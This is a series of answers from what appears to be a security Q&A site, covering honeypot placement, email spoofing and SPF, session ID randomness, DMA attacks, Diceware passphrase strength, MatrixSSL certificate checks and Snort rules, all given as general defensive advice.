If you keep modem and computer A physically separated from modem and computer B and only ever have one or the other connected, never both at the same time, then they can't influence each other.

HOWEVER: If you are running a honeypot on your home IP, even if it changes when you unplug your modems, chances are that it won't change by much (you might be on a small ip pool, depending on your ISP). It's entirely possible that Honeypot and secure PC will be reachable via the same IP, though of course not at the same time. And even if not, they'll be on the same subnet. Attackers regularly scan subnets, and if they find a gold mine (well, a honeypot really), and then lose access to it because you unplug and plug in your secure modem/pc, then they might scan the subnet to find it again. Which means that you're drawing unwanted attention to a) lots of other customers of your ISP and b) your secure installation. Depending on how well you set up your honeypot, attackers may also manage to start sending spam or turn your honeypot into a botnet zombie, which would then get the IP added to all kinds of black lists.

If you really want to experiment with a honeypot, get an ec2 instance at amazon or a digital ocean instance (or any other cloud server). Check their terms of service to make sure they're ok with you drawing malicious traffic. This way you're not burning your ISP's dhcp pool.

I like this quote from a Patrick Rothfuss book: The protagonist is asked whether he knows the 3 basic rules of working in this very dangerous chemistry lab, and the third rule is: Eat elsewhere.

Or more bluntly: Don't **** in your own backyard.


Is it possible to give legal value to signed web services?

We are working in this domain for some time. As you've already mentioned - there's a difference between the technical signature (so the systems/databases can rely the data integrity is ensured) and  legal value of data itself, where (according the legal framework) legally can sign only a 'natural' person.

Each state effectively 'validates' its own citizens and assures theirs identity (issuing their ID card, passport, authentication and signing certificates). There can be an application certificate issued, but they have no legal signing value. Most of the countries adopt this principle.

Often there's a mutual agreement between organizations to trust their signed data from the applications outside scope of the legal framework. I see many initiative to automate the signing (I'd support myself), but - as WoJ mentioned - the application cannot take own decisions and cannot assume any legal responsibility.

I've seen a system where the responsible person signs a batch (whole list of the document digests) without effectively having time to read all the documents. In this case a Hardware Security Module is used. Still - it is the person who legally takes responsibility so sign the documents.


How can I prevent my E-mail address from being used as the sender for fraudulent/scam messages?

Is there anything I can do to prevent them from tarnishing my [...] E-mail address

In short: no. In general, you can't prevent anyone from using your email address and sending email on your behalf.

You can do a little something by using forwarders that adopt SPF. This means that to be able to send an email to me, pretending to be from you, someone would have to send that email through one of the permitted senders for your email domain. Otherwise, in seeing an email from OgrePsalm33@psalm33.ogr, my mail server would think, "Hmmm, this email is from psalm33.ogr, so it should come to me courtesy of mail.psalm33.ogr, and instead it comes from a whorefarm in North Nowherestan..." and reject the email as forged.

And if someone sent to mail.psalm33.ogr an email pretending to be from you, that server being your own server, it should be able to verify the authentication information, and drop the email if it did not come from the approved sender.

But all this relies on my server doing checks. Mine does. Many others do not. Also, some SPF checks are more cursory than others, some SPF records are poorly maintained or not strict enough so as to accommodate lazy administrators.

So in the end, there will still be lots of servers out there that will blithely accept any email from any Tom, Dick or Harry pretending to be you.

However, usually, should the need arise, you should be able to demonstrate that with all probability some email did not originate from you; the headers would show that quite clearly.

(In theory it's still remotely possible that someone would send a "deniable" email with his own authentic name but from a forged account, in order to be able to disown the email should the need arise; sort of like forging your own signature; but that's another, completely different scenario).

Another thing you can do, but not erga omnes, is to use cryptographic signatures. Then make it known to everyone you deal with that you do so, and any correspondence not cryptographically signed is to be considered forged. Again, this will not protect your reputation among strangers who never corresponded with you and do not know you sign your emails. On the other hand, possibly one's reputation among nameless strangers is of less concern.


How to evaluate the security level of session ID generation?

Following your comments, it seems strange you got duplicates if you are actually using /dev/urandom as entropy source and sufficiently long session IDs.

Are you sure that PHP is correctly configured? As of PHP 5.4.0, PHP defaults are now secured, but it happens that some historical server settings remains over time and decrease the security compared to current defaults (PHP may not be actually using /dev/urandom, or it may gather to few entropy from it),
Are you sure that the issue hasn't been caused by a third party issue, like unvoluntary session fixation ? Such a bug for instance could occur if the session ID can be passed as URL parameter, and that URL containing the session is shared by some way, either explicitly (URL sent from one person to another) or by some unexpected way (content caching at the server or a proxy for instance).

/dev/urandom can be generally considered as a trusted entropy source. If by any chance you still want to investigate it, you can use ENT tool for this purpose. You can find a usage example on this page.

A quick an dirty check on your file would be to ensure that there was at least no collision encountered during your session ID generation test:

LC_ALL=C sort /path/to/sample_file | uniq -d

Replace /path/to/sample_file with your actual file containing your generated session ID, it should output all duplicated entries. Under normal circumstances it should therefore produce no output.

Testing the actual security quality of these files would be more tricky. A session ID must not only be unique, but it must not be predictible, this means that it should be evenly and randomly spread over a sufficiently large space of possibilities. This may be difficult to properly demonstrate. As said in my comment, there has already been a discussion on such topic, and while some web application security tools offer session ID analysis, the conclusion seemed that the most reliable way remains to analyse the application code and configuration itself.


Why is Firewire a bigger threat than USB?

Firewire and also Thunderbolt provide direct access to the OS memory, thus bypassing the operating system. See Wikipedia: DMA attack for more details on the possible attacks.

USB does not provide this kind of direct access. But it has other problems like the ability to unexpectedly emulate devices like a keyboard, see BadUSB.


How can a website block IPs behind a NAT?

Since you are behind a NAT, your local IP is translated by the gateway. So a server/website will get a traffic from your ISP IP, and if they decide to block an IP, it will be of your ISPs. There is no way to block your local IP on a server side.


What's the safest virtualization tool for running unsafe software - VirtualBox vs Windows Sandbox vs Hyper-V

From these three I would pick Hyper-V. The reason for this is the number of CVE vulnerabilities currently disclosed for these products are lowest for Hyper-V. Additional factor for choosing Hyper-V over others - is that Hyper-V is an Enterprise product, and thus there are higher chances that vulnerabilities will be mitigated faster that for the other, freeware products.

Hyper-V uses traditional architecture, where in standard configuration Hypervisor stands between guest and host hardware. Hyper-V offers much more tools than the other too for forensics.

However, a thing to note, that most current malware have defense mechanisms that allow it to detect hardwareID and some other things to stay silent and safe if it was launched on on Virtual Machine.

As for me, I personally would choose VMWare, simply because I have more experience with it.


Better alternative to WAF path whitelisting?

Not sure there is a 'best practice' as every organisation is different, however a very common practice in large enterprises is to use a combination of white and black-listing.

For Dev environments you may just want to blacklist, because changes are very frequent.
For Prod environments whitelist and lock down as much as you can. And blacklist known bad sites.

Where you have different applications in different DMZ's you can work on a risk-based and change-based mechanism and have some combination of the above, so that every firewall has a setup based on the profile needed.


How does Matrix SSL perform certificate validation?

After having a look at the documentation of MatrixSSL I assume that:

Since it is transport layer agnostic it will not (and can not) retrieve missing intermediate certificates by itself. To do this it would need to have some kind of HTTP client (maybe with proxy support to) and I cannot see any such thing documented.
It will also not check by itself, that the hostname matches the certificate. You need to add your own certValidator to do this. If you don't verify the hostname in the certificate you will accept any certificate signed by a trusted CA for an arbitrary host, which will effectively leave you open to man-in-the-middle attacks. That means implementing this is a must, unless you need to check only against some fixed certificates (i.e. certificate pinning).
The API contains functions for CRL handling, but requires the developer to provide the CRL itself. It has function to get the URL for the CRL but the developer than has to retrieve the data for the URL by itself.
There is no documented API for OCSP. Since OCSP requires HTTP access and since MatrixSSL itself is transport agnostic it can be assumed, that it will not do OCSP lookups by itself and will also not give the developer the necessary information to do OCSP lookups.

At the end this is about the security you get from OpenSSL, i.e. no hostname checking, only manual CRL, no documented API for OCSP (although there is an undocumented but fairly complex API in OpenSSL).

Since you are using MatrixSSL only for your own custom app I would recommend to keep it simple and secure by only accepting few specific certificates which are controlled by you and which are hard-coded inside the application. In this case you would not need the more complex stuff like hostname or revocation checks.


Passwords - extended dictionary vs dictionary attacks

This approach would add unnecessary complexity. More importantly, it would also defeat a core purpose of Diceware-style passwords: only having to remember individual words, not weird additional stuff about them.

First, to illustrate the complexity, let's do the math. (For any proposed password scheme, if you do the math informed by a model of the risk, you'll get most of the answer automatically.)

Assuming an extreme worst case - starting with your base 20,000 word dictionary, and assuming that your attacker can guess 100 trillion passwords per second (which is almost certainly beyond current nation-state capabilities), and further assuming that you want your password to resist cracking for 100 years - you would only need:

ceil(log base 20000 of (100000000000000 * 100 * 31556926))

... six words anyway. (Thanks to Jeremi Gosney for teaching me how to illustrate the math).

And that's for a hypothetically advanced future nation-state attacker - which is almost certainly not who you should be worried about. Based on our current understanding of math and physics, millions of words in a Diceware dictionary is completely unnecessary for most actual risk models.

Second, the whole point of Diceware is to make passwords that are easy to remember. Introducing millions of typos would make the cognitive burden unmanageable. Trying to remember those typos would be as bad as trying to remember which letter you capitalized, which 'A' you turned into an '@', etc. It's simply not worth the trade-off - and precisely what Diceware inventor Art Reinhold wanted to avoid.

Instead, for your 20,000-word dictionary, you'd be far better off by simply adding a word. Not only is this easier to memorize accurately ... it automatically (and simply!) increases the cost of cracking the passphrase by 20,000 times.

Alternatively, you could use the american-english-large dictionary that's distributed with some Linuxes, which is 163,730 words. That would drop our extreme case down to 5 words. And instead of wasting energy on memorizing typo variations, you can improve your vocabulary! :)


How to specify a Snort rule connection duration?

Short answer: no.

Longer answer: If you've got coding chops, you basically need to add a new detection keyword that acts almost exactly like the threshold keyword, except it alerts for any packets after s seconds, rather than c packets within s seconds.  This might be appealing if you're already building your sensors from source in your infrastructure.  Not that hard -- a number of years ago, I rigged up a build for a customer that would actively reset brute force attacks from a given IP once reaching c count in s seconds.